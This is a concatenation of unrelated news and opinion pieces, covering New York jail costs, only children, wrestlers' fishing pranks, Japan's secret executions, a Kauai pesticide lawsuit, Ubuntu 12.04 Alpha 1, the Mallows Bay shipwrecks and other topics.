Experts say certain expensive fixed costs in New York's system keep the figure high despite a large drop in incarceration, which peaked in 1991 at about 22,000 inmates. The Department of Corrections has substantial pension and salary responsibilities and significant debt-service payments. It says 86 percent of its operating costs go to wages; it employs 9,000 relatively well-paid unionized correction officers. The department's budget in 2012 was $1.08 billion.
Hundreds of millions of dollars are spent each year to run Rikers Island — a 400-acre island near the runways of LaGuardia Airport that has 10 jail facilities, thousands of staff members, its own power plant and a transportation system.
New York's per-inmate costs dwarf other large cities'. Los Angeles spent $128.94 per day, or $47,063 per year, in its 2011-12 fiscal year, LA's sheriff's office said. According to the Cook County Sheriff's Office, in 2010, the most recent year for which figures were available, Chicago spent $145 per inmate per day, or $52,925 for the year.Having children is an immensely personal and private decision. If you have decided to have only one child, or are considering stopping at one child, you may be facing some push back from family, friends, and strangers. Here are some facts that may help you feel better about deciding to have an only child, as well as some tips on how to deal with busy bodies and well-meaning family members who can’t fathom why you would make the decision not to have any more children.
Stereotypes
Often enough, an only child is thought of as a social misfit who is selfish, spoiled, and not fun to be around. This idea seems to have come to the forefront from the words of child psychologist G. Stanley Hall. He has been credited as saying, “Being an only child is a disease in itself.” While we can’t go back in time to find out why Hall thought the way he did, looking at the culture surrounding him at the time may help. Over 100 years ago, children were a vital part of a family and were tasked with chores and responsibilities that helped the family survive. To Hall, an only child may have meant that the family would suffer without as many hands to tend to the farm, or help in the family business.
Children in China were thought to become “Little Emperors” because of the only child policy in place. However, research conducted on Chinese children for over 30 years has shown that “only children are not particularly spoiled,” and they found no difference in only children’s relationships with friends when studied with children who had siblings.
The myth that only children are bossy and aggressive has no real evidence behind it. According to Susan Newman, Ph.D., “Only children learn quickly that attempting to run the show, a ploy that they may get away with at home, doesn’t work with friends; and a bossy, aggressive attitude is a quick ticket to ostracism from the group. Lacking siblings, only children want to be included and well liked.”
Benefits
It seems that there are many benefits to being an only child. Parents who have only one child are often able to provide that child with more than if their resources were spread out among many children. According to Dr. Toni Falbo, a professor of Educational Psychology in the College of Education and a faculty research associate in the Population Research Center at The University of Texas,
“Some of the ‘perks' to being an only child are logical and simply have to do with physical resources and the amount of time parents have to devote to child-rearing. When a college education, for example, has to be provided for one child as opposed to four, it’s more likely that the one child not only will get to go to college but also may be sent to a more prestigious, more expensive school. Everything from family trips to parental participation in the child’s school life may be enhanced because more resources and time are available.”
Only children also have a slight advantage in maturity, according to Newman,
“Children with siblings relate and talk to their siblings rather than their parents. The only child’s primary role models are parents. The result is that only children copy adult behavior as well as adult speech patterns and develop good reasoning skills early on, making them better equipped to handle the ups and downs of growing up.”
You Aren’t Alone
There are many reasons families choose to stop at one child. Age, career choice, and economical situations all have helped shape the growing population of the only child. In fact, according to the U.S. Census Bureau, in 1972 there were between 8 and 9 million only children. By 1985, the number had grown to 13 million, and by the beginning of the new millennium it approached the 16-million mark.
Some families are also single child families not by choice, but by circumstance. With the growing divorce rate (most marriages peaking at seven years), couples have had one child, but the marriage deteriorates before a second child comes along. Secondary infertility also plays a role in one-child families.
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Stand Up For Your Choice
For some reason, children are subjects many people just don’t have a filter for. It is inevitable that someone will disagree with your choice to only have one child. If you are confronted with a busy-body, don’t feel the need to defend your choice with them, just tell them that your choice works for your family and your child will not be worse off; in fact some research shows they will have a slight advantage over children with siblings.
In the end, it might be hard for someone to understand your choice, but it is a choice only you can make. Be proud and cherish your only child!For decades, body slams, drop-kicks and head scissors have been in a day’s work for a professional wrestler. Though the lifestyle is hardly ho-hum to everyday folks, even wrestlers have needed to escape the daily grind before it knocked them out like a Verne Gagne sleeper hold.
To cut loose, many from yesteryear headed outdoors and returned with stories as colorful as their wrestling glory. And in case the fish weren’t biting, they’d generate entertainment of their own.
Gagne’s son, Greg, a professional wrestling star in his own right from Minnesota in the 1970s and early ’80s, spoke of those personalities.
“What you saw back then is what you got,” he said. “They were that way inside and outside the ring, quite a bunch of interesting characters.”
Verne Gagne was an athletic legend in Minnesota. He played football at Robbinsdale High School and for the Gophers, and was drafted by the Chicago Bears. As a wrestler, he won two NCAA titles at Minnesota, was an alternate for the U.S. Olympic team in 1948, and was a pioneer in the professional ranks. He passed away in 2015 at the age of 89.
He and business partner Wally Karbo founded the Minneapolis-based American Wrestling Association in the 1960s. In the process, they also combined their promotional efforts with their love of the outdoors.
Greg Gagne, center, with friends on a fishing trip.
The younger Gagne lives in Bloomington. He said that part of his father’s job involved wining and dining television executives to expand the AWA. As an incentive, they paid for annual hunting and fishing trips for some of the wrestlers and TV station managers within the association.
“I’d hear about all these [fishing and hunting] trips they went on. But I didn’t get a chance to go on them until I started wrestling,” said Greg, 68.
Once he began participating in those adventures, he found there was more to a fish story than the fish. They included rapid-fire hijinks.
AWA tag-team champion Larry “The Axe” Hennig, 80, currently resides in St. Cloud. In a separate interview, he also shared some stories to help Greg convey the flavor of unusual camaraderie.
The leeches of Mille Lacs
Ray “The Crippler” Stevens wasn’t just a great wrestler, he was an outstanding prankster, Greg said. One year, the wrestling group decided to fish Lake Mille Lacs, but Gagne and Stevens had a match in Denver the night before everyone else left on the trip. However, they made arrangements to arrive at camp the following day.
When they pulled in around noon, Greg said he and Stevens were fired up for fishing. But they quickly discovered the rest of the crew was just getting out of bed. They all had pounding headaches inspired by serious fun the previous night. Greg and Stevens didn’t dawdle, and got Hennig to join them. Their fishing guide grabbed a bucket of leeches, and the outboard sprayed waves into the afternoon.
After a time fishing, Greg said Hennig fell asleep hunched over his rod. Stevens, not one to pass up a golden opportunity, began taking leeches from the bait bucket and adorning Hennig with them. He put one on Hennig’s earlobe, a couple on both sides of his neck, then an eyebrow and finally the tip of his nose.
When Hennig finally came to, he started scratching. Then he recognized there was a leech on his nose and began pulling it. Greg said it was like a rubber band stretching back and forth without releasing. The guide suggested burning it off, so Stevens tried using his lit cigarette.
“Larry was ready to kill him in the boat,” Greg said. “You didn’t dare fall asleep around any of these guys. You didn’t know what would happen.”
Hello, sailor
Hennig wasn’t exactly innocent himself. He and another member in the wrestling group tag-teamed the others with a doozy during a trip to Lake of the Woods.
Hennig and his fishing partner went missing for an entire morning early in the trip. But later that day, Hennig said they buzzed their boat by where others were fishing, then sped out of sight.
According to Greg, when Hennig’s boat raced by, there was a woman with long blonde hair sitting there with them. They didn’t see Hennig again until toward evening when the boat whizzed by and disappeared again, the woman still onboard.
At dinner with the wrestling group that night, Hennig began his setup story. He said they met her when they were looking for a place to fish. She lived in a yellow cabin on an island with a dock about 5 miles up the lake.
Greg recalled additional details. The woman was 34. When she saw Hennig and his boat partner near the dock, she invited them in for coffee and breakfast. She was recently divorced and got the island property in the settlement. She also loved athletes, so they spent the whole day with her.
Larry "The Axe" Hennig, left, was a frequent member on outdoors trips.
Hennig explained more of the buildup. “We did this for a couple of days, and these guys [were] going nuts.”
Their interest boiled over when they found she had lived there all summer and was getting lonely. “The next morning … there were eight boats in front of her place,” Hennig said.
Those who fell for it discovered it really wasn’t her place, because there was no her. Before the trip, Hennig had bought a life-size doll. He said they’d blow up the doll each morning on the trip, dress it and put it in the boat. At night, they’d deflate it and fold it into a tackle box.
Amazingly, as more of the group discovered the prank, no one let the cat out of the bag. Instead, they hid in a cabin bedroom and listened for when another guy came knocking and introduced himself. “We were trying to muffle our laughing. It was the funniest thing you ever heard,” Hennig said.
Greg said “that’s how [those] guys were. They would take days and weeks and lay out a thing to get ya.”
Looking up to Dad
Greg said that from an early age he knew his dad was tough. But an Alaskan fishing trip took his admiration to a new level.
After a wrestling tour in Alaska, both Gagnes and wrestler Curt Hennig, son of Larry “The Axe,” got an offer from a local resident to stay two extra days and take a side excursion for silver salmon. It was a fly-in trip to a remote river camp.
Greg and Hennig fished from shore while Verne and a guide explored upriver by boat. About 20 minutes later, the boat returned. Greg said his dad was sitting up front with his arms crossed. As the boat got closer, he saw a Dardevle lure taped to Verne’s forehead. But this was no prank. Verne had been trying to pull a fish out of the water when the fish spit the hook out, and the hook flew into Verne’s eyeball.
Emergency transport included a half-hour boat trip down a river full of whitecaps to the fly-in plane, then a 20-minute flight to the home base. From there, they boarded a cargo plane for a turbulent flight to Anchorage. Greg said his father sat on a box at the back of the plane in complete silence, bouncing with the turbulence.
“To me, this is the toughest man. I said, ‘How are you doing?’ Dad said, ‘Don’t talk to me … I’m concentrating. I’m feeling no pain.’ ”
When they finally reached the hospital, they waited three more hours while medical personnel determined the best way to remove the hook. Greg said they pushed the barb up through his father’s eye just above the iris, cut the barb, then backed the hook out. The total time from hook-in to hook-out was 11 hours. It caused significant sight loss.
The next morning, they had to fly back to Minneapolis. The physicians injected antibiotics into the eye, plus a second injection of painkiller.
“When they put those needles in there, [Curt and I] almost passed out,” Greg said. But Verne “flew all the way back to Minneapolis and never said a thing.”
Greg described the howl of wolves and call of loons as respite from a very public life of breakneck travel and a grueling occupation. “Those [were] private times when you’re just all together, good friends, family, and talking, learning about life, learning about the wilderness, you’re looking up at the stars over a campfire. I mean, what better?”
Scott Stowell is a freelance writer and photographer from Ely. He can be reached at [email protected] night on NBC’s Parks and Recreation — the second-to-last episode of the season! — Leslie (Amy Poehler) embarks on a bus tour to make the most of her final day of campaigning. There’s just one problem, though. (Well, aside from one of Pawnee’s most important citizens passing away.) A bad person is hellbent on assaulting her with a pie. If only there were someone smart and strong enough to neutralize this security threat… someone not entirely dissimilar to… FBI superagent Bert Macklin! Yes, the overeager alter ego of Andy (Chris Pratt) returns this week in what he calls his “greatest assignment yet,” so brace yourself for a high-octane, high-calorie adventure. You can preview a bit of Bert in the following clip, in which he assesses the perlious situation and assigns provocative code names to his colleagues.by Laura Giunta
The secrecy surrounding the death penalty in Japan is an egregious encroachment of basic human rights. Even proponents of the death penalty should support reform.
Imagine you sit on death row. You live in an isolated cell, where you are forbidden to speak to other inmates. The cell is frigid in the winter and boiling in the summer. Bright lights are kept on in your cell all day and night, making it impossible to sleep. The visits from your family and lawyer are supervised and irregular; friends are not allowed to see you.
Any moment and without warning, you can be taken from your cell and told you will be executed, usually within a few short hours. There will be no explanation as to why the Justice Ministry has decided to go ahead with your execution while others still wait on death row. You will not be able to contact your family or your lawyer. There isn’t even time for a last meal. You will be executed in secret, by hanging. Even the location of the execution site is unknown to the public. Your family and lawyer will only be informed a few days after the execution has taken place, so that they can collect your body.
Sound like the makings of a dystopian science-fiction novel? Unfortunately, you’ll be sad to learn that it’s actually the execution system of modern day Japan.
The death penalty in Japan is an institution shrouded in secrecy and brutality. Executions are done in secret, the conditions are unforgiving, and conviction rates defy both statistics and logic. There is no public accountability. The death penalty in Japan is a severe infringement of the basic rights of its citizens and a call for transparency must be demanded. As one of the most affluent and influential world democracies, Japan’s current lack of transparency regarding the death penalty is alarming, even for those who may believe that capital punishment is justified. One need only look to this year’s executions to see how Japan’s death penalty process blatantly disregards natural human rights.
On February 21, 2013, Japan’s Justice Ministry announced that it hanged three convicted killers. At the end of April, two more convicted killers were executed by hanging. Typical to executions in Japan, these hangings were done in secret, the announcement coming only after the executions occurred and, up until five years ago, the names of those executed were not released to the public. Even now, prisoners on death row are told only a few short hours before they are executed, while their families are not notified until after the execution. Their lawyers are similarly not informed until after the execution is carried out. All executions are done by hanging, which has been criticized as being a particularly brutal, outdated method of execution, even when more humane methods, such as lethal injection, are available. The executions are always closed and “even glimpses of the executions chambers are rare.” The decision-making process for how the Justice Ministry chooses who on death row will be executed next is also highly secretive, because “the Justice Ministry has refused to disclose how it makes decisions to go ahead with executions.”
What little we know about death row comes from the few inmates who have experienced it, such as Masao Akahori, who was exonerated and released after being imprisoned for 31 years due to a false confession he made after being beaten by police in 1954. Of death row, Akahori describes living in constant fear of execution, having even once been taken out of his cell for execution, only to be returned after the guards realized the execution order was for the prisoner in the adjacent cell. On death row, prisoners are also forbidden to speak to one another and live in constant isolation within the small confinements of their cell, with only sporadic, supervised visits from their lawyers or family members, and two brief exercise breaks a week.
The conditions of death row inmates’ cells are similarly bleak: inmate Masashi Daidoji, who still sits on death row, describes the cells as being unbearably hot in summer and freezing in winter in his prison diary. Daidoji writes how bright lights are kept on 24 hours a day and inmates are not allowed sleep masks for fear they might use them to make a cord to commit suicide. Inmates are also not allowed television and can listen to the radio, but cannot choose the station they listen to as to prevent them “from getting unnecessary information or stimulation from the outside world.” Printed material is often censored before it reaches inmates and the names of inmates that have been executed will be blacked out in newspapers before being given to prisoners still living on death row. If prisoners have complaints, they can make them to a Justice Ministry representative, but a representative is only legally obligated to visit the prison every two years.
Because inmates only have a few short hours before they are hanged after learning of their impending execution, they cannot choose their last meals. During the execution, the only witnesses are the officials and the guards, as no one else is permitted in the execution chamber. Even Japanese legislators have a difficult time seeing the conditions of both death row and the execution chamber, with nine legislators fighting and winning the right to see the execution chamber in 2003. Before that, the last time a Japanese legislator had been granted the right to see the execution chamber was in 1973. In 2010, Japanese media was at last granted the right to view an execution chamber, but foreign media was excluded. Even then, journalists were taken to the execution site on a bus with closed curtains, so that the location of the execution chamber remained a secret.
While the Japanese government contends that the reason for the secrecy comes from a desire to protect the privacy of the prisoners, opponents insist that this lack of transparency is in place in order to prevent the media hoopla that comes from those who dispute the case or have disapprove of the death penalty, as often seen with executions in the United States.
More troubling to opponents is that Japan has a 99% conviction rate, with most convictions being based on confessions. Some critics attribute this nearly perfect conviction rate to forced confessions, which would mean that there is a strong possibility that many of the inmates currently on death row could be innocent. But, while Japan’s bar associations and several rights groups, such as Amnesty International’s branch in Japan, have condemned the hangings and Japan’s use of capital punishment in general, about 80% of Japanese citizens support the death penalty, making it an uphill battle for those who oppose it.
Abolishing the death penalty in a country where the majority of citizens are in favor of it may seem like a difficult, daunting, near impossible task for activists who strongly contest it on the principle of the right to life. The United Nations has already passed a resolution calling for a moratorium on the death penalty in all countries in December 2012, one that the Japanese government essentially ignored with the latest executions, which took place only a few months after the resolution was passed. However, despite the strong support for the death penalty by both the Japanese citizens and its government, rights groups can still call for the government to at least reform its death penalty policies and allow for transparency.
Conditions for death row inmates need to be improved. Prisoners on death row should be given adequate notice of the date of their execution and their family members and lawyer should be notified of the proceedings before the execution takes place. More importantly, Japanese legislators, the Japanese media, and the Japanese public have the right to know more about both the conditions of death row and of the execution chambers, including where the execution sites are located. The Japanese public should be notified about executions beforehand, allowing them to exercise their right to peacefully protest the proceedings if they so choose. The method of execution should also be more humane, giving inmates the option of lethal injection over the brutal method of hanging.
Japan, as one of the leading democracies of the world, must adopt a new death penalty policy rather than keep the authoritarian system that is currently in place. Only when Japan’s death penalty policy becomes humane and transparent can it begin to have any sort of place within a civilized democracy. As of now, Japan’s secrecy and treatment of the death penalty is an ugly blemish on an otherwise democratic, principled nation.
Laura Giunta has a Master’s degree from St. John’s University. She is a children’s librarian residing in New York State.Belgium international adamant he's not a carbon copy of his Ivorian teammate but reveals the 33-year-old has had a major impact on his career at the Blues already
Chelsea striker Romelu Lukaku insists that he is a different player to teammate Didier Drogba but says that the Ivorian has had a big influence on his career.
The 18-year-old moved to the Blues in the summer, and whilst his first-team opportunities have been limited so far, he feels that his football has already improved due to the impact of Drogba.
“I think I’m a different style of player to what I was before. I think that people don’t have to compare me that much Didier because he knows we have some differences in our game. He’s influenced me a lot that’s for sure," Lukaku told ChelseaTV.
“In the first week that I came here he [Drogba] didn’t say a lot because I think he was watching the way I play. In the second week he was telling me all the mistakes that I’d made in the game like my control of the ball and my shooting towards goal.”
Lukaku also admits that he faces a tough challenge to break into the Chelsea starting XI in the future but is delighted to be at Stamford Bridge.
“There is more to achieve for sure," he told the channel. "Being here is already one step but there are so many steps I want to make. I’m very happy right now but I know I have to work very hard to become one of the main keys of the team in the future.”
The Belgium international has made three appearances for Andre Villas-Boas’ side so far this season but has yet to find the target.
Lukaku added: “It doesn’t matter [who I score against] I want to score in each game. If I can score against Blackburn or against Manchester United or Arsenal I don’t care. Scoring a goal is the same feeling in each game for me.”Chalk up another win for the little guy. A handful of residents of Kauai’s Waimea community prevailed in court over biotech giant DuPont-Pioneer last week. Citing extensive, harmful dust generated by DuPont’s seed operations, a jury awarded 15 residents $500,000 in damages.
This is just the latest in an impressive string of victories against pesticide and genetically engineered (GE) seed corporations in Kaua’i, the global epicenter for GE seed testing.
Why the lawsuit? Picture red (pesticide-contaminated) dust blanketing your house and yard, regularly blowing over from neighboring fields, leaving you unable to open your windows or leave your home. That’s what residents of this lower-income community of color have faced for years, and that's what ended up spurring litigation.
While the judge directed attorneys to focus only on impacts to physical property, it’s hard to ignore the health effects of pesticides drifting through the air or contained in dust blanketing homes. According to court documents, the pesticides sprayed by DuPont in Kaua’i have been linked to cancer, reproductive toxicity, birth defects, disruption of the endocrine, immune & nervous systems, liver damage and more.
Lawyers for the case note that several dozen more Waimea residents may yet come forward to seek awards.
Global profits, local harms
The GE seeds grown in Hawai'i are part of a larger, global story. Corporations based around the globe test and grow GE seeds on the islands before shipping them to places like Iowa to sell to U.S. farmers and across the globe.
DuPont-Pioneer is exposing residents in Waimea to 6-8 times the number of pesticides used on the mainland.DuPont & Co. grow GE seeds year round in Hawai'i, and intensively spray pesticides on these test crops. DuPont-Pioneer is exposing residents in Waimea to 6-8 times the number of pesticides used on the mainland, and in some cases pesticides are applied 15 times more frequently over the course of the year.
Residents on the other side of town are bordered by Syngenta’s operations, including schoolchildren attending Waimea Canyon Middle School. Teachers there have raised concerns about pesticide exposure for years, petitioning federal environmental officials and citing the regular use of brain-harming pesticides.
To address these concerns, residents of Kaua’i helped pass a law in late 2013 to restrict the use of hazardous pesticides near vulnerable communities, and create comprehensive disclosure of pesticide use. The affected multi-national corporations — BASF, Dow, DuPont-Pioneer and Syngenta — promptly sued the County of Kaua’i.
Demanding respect from Syngenta
Earlier this month, a handful of community leaders boarded a plane to Switzerland to share their concerns directly with Syngenta shareholders at their annual meeting. As county councilman Gary Hooser later recounted:
“My message was clear and unambiguous. I asked them to withdraw from their lawsuit against the County of Kaua'i, to honor and follow our laws, and to give our community the same respect and protections afforded to the people in their home country of Switzerland.”
Needless to say, the Kaua’i delegation wasn’t welcomed with open arms by the CEO or company security, but Hooser was able to share a few words directly with shareholders on the big screen, and the small delegation connected with allies in the global movement to advance protections from the use of harmful pesticides.
DuPont, Syngenta and the rest of the Big 6 may have underestimated the power of the Kauaian people, be they neighbors, teachers or elected officials. The corporate giants have awoken the residents, not the other way around.NBC reverses course, offers conservatives access to airwaves
For quite a while, it seemed as if the only political ads that were rejected by television networks came from the left. Last week, for example, Fox News rejected an ad from the Center for Constitutional Rights about the administration’s torture because, as Bill O’Reilly insisted, the ad was “anti-American.” Last year, NBC refused to run an ad from MoveOn.org about alleged Republican corruption. Around the same time, all of the major TV networks rejected an ad by the United Church of Christ that told viewers, “No matter who you are or where you are on life’s journey, you’re welcome here.”
The trend has been discouraging. In November 2005, Fox News wouldn’t run anti-Alito ads. Not long beforehand, MoveOn.org raised enough money to buy an ad during the Super Bowl, but CBS rejected it, noting its “long-term policy not to air issue ads anywhere on the network.” Just a few weeks prior, CBS and NBC refused advertising from the UCC because the church’s open, tolerant message of inclusion was labeled “too controversial.”
With this background in mind, it came as a bit of a surprise last week when NBC rejected a political ad from Freedom’s Watch, a right-wing group created to support the White House’s policy agenda.
NBC has rejected a TV ad by the White House front group Freedom’s Watch “because it refers to the group’s Web site, which the network said was too political.” The ad thanks soldiers for their service but also contains a “welcoming message” that states: “For too long, conservatives have lacked a permanent political presence to do battle with the radical special interests groups and their left-wing allies in government.” “We have a policy that prohibits acceptance of advertising that deals with issues of public controversy,” said Alan Wurtzel of NBC.
As much as I’m opposed to Freedom’s Watch, this wasn’t exactly welcome news. I don’t want the left and right blocked from the public’s airwaves, I’d prefer the networks allow both sides to advertise and reach the public.
That said, I was at least mildly encouraged that NBC was being even-handed — the network rebuffed MoveOn.org, a message of tolerance from the United Church of Christ, and the loyal Bushies at Freedom’s Watch.
Or so I thought.
It didn’t take long for NBC to reverse course and offer the right the access it had denied the left.
NBC reversed course Saturday and decided to air a conservative group’s television ad thanking U.S. troops. The ad, by the group Freedom’s Watch, asks viewers to remember the troops during the holiday season. NBC had refused to air the ad because it guides viewers to the Freedom’s Watch Web site, which NBC said was too political. But in a statement issued Saturday evening, NBC said: “We have reviewed and changed our ad standards guidelines and made the decision that our policy will apply to content only and not to a referenced Web site. Based on these amended standards the Freedom’s Watch ad will begin to run as early as Sunday.” NBC’ head of standards and practices, Alan Wurtzel, notified Freedom’s Watch’s media consultant Saturday by e-mail, writing: “This will confirm that the Freedom’s Watch spot is approved for air.” Freedom’s Watch President Bradley A. Blakeman welcomed the decision. “We’re actually very happy that NBC has agreed to change its position because it will only help the troops be properly thanked,” he said.
So much for even-handedness.EL SEGUNDO, Calif. -- The Los Angeles Lakers' practice facility was devoid of its stars Saturday, as Kobe Bryant and Pau Gasol -- along with assistant coach Kurt Rambis and longtime trainer Gary Vitti -- were excused to attend a memorial service for former Lakers coach Bill Sharman.
With his All-Stars away for the day, Lakers coach Mike D'Antoni focused on the rest of his rotation that he is trying to sort out three games into the season.
Jordan Hill has been productive in limited minutes but could soon see his role expand. Christopher Hanewinckel/USA TODAY Sports
One player that has D'Antoni reconsidering his role for is Jordan Hill.
"That would be the obvious, 'Yeah,'" D'Antoni said of Hill, who sat the first three quarters of L.A.'s 91-85 loss to San Antonio on Friday and then filled up with box score with five points, four rebounds (three offensive) and an assist, all in the fourth quarter.
"It’s not my decision how many minutes I get, so I just want to go out there and produce when I’m out there with those minutes," said Hill, who is averaging 6.3 points on 69.2 percent shooting and 6.3 rebounds per game this season in just 14.0 minutes per game.
The bulk of those boards have come on the offensive glass. Hill's 4.0 offensive boards per game ties him for 10th-most in the league so far this season, but he's one of only three players on that list to average less than 20 minutes per game.
"When a shot goes off, I can know if it’s going long or know if it’s going short, so I just try to bully my man to that position before he gets to it," Hill said. "I may not look too strong, but I’m very strong when we’re down there, so I can definitely get there."
Hill, who spent the summer honing his jump shot to try to fill the stretch 4 role in D'Antoni's system, said he has scrapped that plan and gone back to the basics.
"I’m going to try to focus on what I do best – rebounding, putbacks, defending, running the floor – and if my shot is open, I’m going to take it," said Hill, who has attempted only one jumper outside of 16 feet so far this season (he made it, banking it in against the Clippers).
"Whenever I feel like it’s a good shot for me, I’m going to take it, but I’m not going to focus on that mainly," Hill said. "We got shooters out there, I know Pau, (Chris) Kaman can shoot, Wesley (Johnson), (Shawne Williams). So, I’ll just do the tough guy role, basically."
Xavier Henry also played a pretty good tough guy against the Spurs, making two free throws after suffering a two-inch laceration on his forehead that required nine stitches.
"I still have a headache right now," Henry said, adding that he expects to have the stitches removed in 10 days. "No concussion. I’m all right."
The Lakers were doing all right on Friday until Henry got injured, when their 15-point lead with 8:32 to go in the second quarter was whittled down to just two at the 5:00 mark.
"It seemed like for whatever reason, when 'X' (Henry) went down it took the air out of our sails," D'Antoni said. "I don’t know if that was because X went down, the stoppage or what. They just tightened up."
Henry said that the team's film study on Saturday showed what built them the lead.
"We made a lot of plays just off of hustle plays, and they were missing shots and we were playing tough defense," said Henry, who is taking pain medication for the straight-line cut he has going from the middle of his hairline down his forehead. "I think that’s what really had us out in front in the game."
"He’s got an 'I' up there," D'Antoni joked about Henry's scar. "He should have an 'X,' but he’s all right."
His mood, and the mood of the players in his locker room, won't be so light if he cannot figure out the rotation soon.
"We got a lot of guys, and that’s what happens when you play a lot of guys, there’s a lot of guys unhappy," D'Antoni said. "I might have to get to the point where two of them are ticked off at me and eight of them love me."
D'Antoni believes that the players will show who belongs on the court and who doesn't.
"They’re kind of playing their spots and they’re all playing pretty good so it’s kind of tough to find minutes for all of them," D'Antoni said. "We’ll make a decision here. The better decision, hopefully. It’s too early to say. They compete for minutes, and we’ll see which team wins."Today I received an email from Apple asking for my feedback on my Apple Watch purchase. Partway through |
abortion is wrong. But regardless of if you agree with me or not, I hope that you can see that this isn’t an issue about abortion — it’s an issue of discrimination. Discriminating against a person, not allowing them their God-given right to life, simply because they might have Down syndrome.”Canonical and the Ubuntu developers have published the first alpha of version 12.04 of their Ubuntu Linux distribution, code-named "Precise Pangolin". Aimed at developers and testers, 12.04 Alpha 1 uses the 3.2.0-2.5 Ubuntu kernel which is based on the recent 3.2-rc3 Linux kernel.
This first alpha sees Banshee replaced by Rhythmbox as the default music player. However, at this stage of development, the team note that the Ubuntu One Music Store is not yet supported as it needs to be ported to GTK 3. Bundled packages include a beta of version 9.0 of the Firefox web browser, the Thunderbird 9.0 beta, Shotwell 0.11.6 and version 3.4.4 of the LibreOffice office suite.
Ubuntu 12.04 will be a Long Term Support (LTS) release focused on polishing and stabilising the system as much as possible rather than introducing major changes, because, when released, both the server edition and, for the first time, the desktop edition will be supported for five years.
It will also be the first Ubuntu release to target a 750 MB ISO image. This means that it will no longer fit onto a standard CD, instead requiring users to burn the images to DVD or copy them to a USB drive for installation. The developers have not filled that space yet: the 32-bit version of the Alpha 1 release comes in at 703 MB.
In the Alpha 1 mailing list announcement, Ubuntu Release Manager Kate Stewart notes that "Pre-releases of Precise Pangolin are *not* encouraged for anyone needing a stable system or anyone who is not comfortable running into occasional, even frequent breakage". Users testing the release are encouraged to provide feedback and report any bugs that they find.
Further information about the first development milestone, including a list of known issues, can be found on the 12.04 Technical Overview page. A list of features and changes planned for version 12.04 of Ubuntu is available on the Blueprints for Precise. According to the project's release schedule, the first alpha will be followed by a second alpha version in early February 2012, after which two betas and a possible release candidate are planned. The final version is expected to arrive on 26 April 2012.
Ubuntu 12.04 LTS Alpha 1 is available to download for 32- and 64-bit systems from the project's site. The current stable release is Ubuntu 11.10 "Oneiric Ocelot" from October, while the most recent LTS version is Ubuntu 10.04.3 LTS "Lucid Lynx".
See also:
(crve)Guarding the ghost fleet of Mallows Bay
In a quiet inlet halfway down the Potomac River, Don Shomette pushes off a muddy landing in his weather-beaten canoe.
It's a trip he's made thousands of times but as he rounds the corner upon scores of decaying ships left over from World War I, he is reminded why he keeps coming back to Mallows Bay.
"It's rather ironic that we have these ships which were engaged in a massive war of destruction now being reclaimed by nature," Shomette says, as he rows out onto the water.
Marine archaeologist Don Shomette sits on the remains of a decaying sunken vessel left over from World War I in Mallows Bay near Nanjemoy, Maryland on November 17, 2015 ©Loic Hofstedt (AFP)
The skeletons of more than 185 wooden steamships are remnants of an ill-fated fleet, commissioned in 1917 when the United States entered the Great War. By the time Germany surrendered, not a single one had crossed the Atlantic.
After a Congressional probe revealed the ships to be poorly designed and too expensive to maintain, production was halted and the ships were bought by a salvage company to use for parts and transported to the bay, an hour's drive south of the capital Washington.
After the Great Depression left the firm bankrupt in 1931, the vessels were left to decompose peacefully in the shallow waters of Mallows Bay.
Today, the rotted fleet is the largest group of historic watercraft visible in the Western Hemisphere.
A native of Maryland, the 72-year-old Shomette first visited Mallows Bay as a teenager.
Shomette's affinity for underwater archeology and history took him over the years from the coast of Yorkshire, England, to the depths of Lake Michigan, working as a consultant for groups such as National Geographic.
But Shomette kept returning to the eerie collection of ships laying untouched nearly in his backyard. Eventually he obtained a grant and turned his passion into a work pursuit.
- 'Mini eco-system' -
Over a 10-year period, Shomette collected and analyzed data from the ships, compiling a 500-page dossier documenting in great detail each member of the fleet.
"It is hard to say what my favorite projects are because all discovery is exciting," Shomette says. "But of course, Mallows Bay is incomparable."
"We have here a laboratory which we can test and study, and bring tourists to see history in the flesh."
Environmentalists have come to value the ships as a plethora of wildlife make their homes aboard their wooden remains, dense with shrubs and nutrient-rich soil.
The forested cove is home to many species of fish, birds, deer and beaver, among others. Shomette even recalls seeing a bald eagle land atop one of the ship's spiky hulls.
"Each ship has become a mini eco-system," said Joel Dunn, president of the Chesapeake Conservancy. "So whether it's an osprey to build a nest on, a striped bass to survive in or an oyster to cling onto, the ships provide structure for life to survive."
Dunn's non-profit organization is one of the groups pushing for Mallows Bay to be designated a national marine sanctuary, a process that is currently underway.
There are just 14 such sanctuaries in the United States. Last year, the National Oceanic and Atmospheric Administration (NOAA) announced its intent to expand the list for the first time since 2000. Mallows Bay is one of two locations up for consideration.
- Future generations -
The Mallows Bay sanctuary would encompass the entire ghost fleet from World War I plus dozens of other shipwrecks from earlier centuries that were subsequently brought to the area during the salvage years. NOAA describes the 14-square mile area as "one of the most ecologically valuable" sites in the state of Maryland.
Sammy Orlando, a NOAA coordinator for the Chesapeake Bay region, said the designation seeks to add an additional layer of protection to Mallows Bay, in addition to recognizing it for its historical and environmental value.
"It's really about the protection of these areas for future generations and the sustainability of the communities that are tied to natural and heritage resources of this area," Orlando said.
The proposal is undergoing public review, with local communities providing feedback to NOAA through a series of open hearings. President Barack Obama offered his support when the process first began, but Mallows Bay still has quite a way to go before it earns official recognition.
Once NOAA makes a final decision, the Governor of Maryland and Congress will have a chance to review it. The earliest Mallows Bay would receive its designation is the fall of 2017.
Though the rustic waterscape has always been free and open to the public, the Maryland community hopes making Mallows Bay a sanctuary will put it on the map.
"We think that Mallows Bay Potomac River National Marine Sanctuary will become a major eco-tourism driver for Charles County and also the state of Maryland," Dunn said.
And for Shomette, the ships he has canoed around, scuba dived under, and written about for decades, would finally earn the recognition they deserve.
On the Maryland side of the Potomac River, the largest shipwreck fleet in the Western Hemisphere sits half-sunk and decomposing ©Loic Hofstedt (AFP)The highly anticipated and controversial Houston-to-Dallas bullet train line has been delayed once again.
Yep, that's right. Texas Central Partners, the private company that plans to construct a high-speed rail line that will zip passengers between Houston and Dallas on trains departing every 30 minutes, has sort of announced that the line's start date has once again been delayed by a year.
We say "sort of" because news of the changed start date was sandwiched into a talk that Marvalette Hunter, a project coordinator with Texas Central Partners, gave last Wednesday at the Commercial Real Estate Women luncheon at the Junior League in Houston.
Continue Reading
"We're creating a new technology that doesn’t exist anywhere else in the U.S.," Hunter told the audience, according to the Houston Business Journal, explaining how the bullet trains will tote up to 400 people between Houston and Dallas in just 90 minutes — once the trains start running in 2023, that is.
This isn't the first time Texas Central has oh-so-casually delayed the start date for the high-speed rail line.
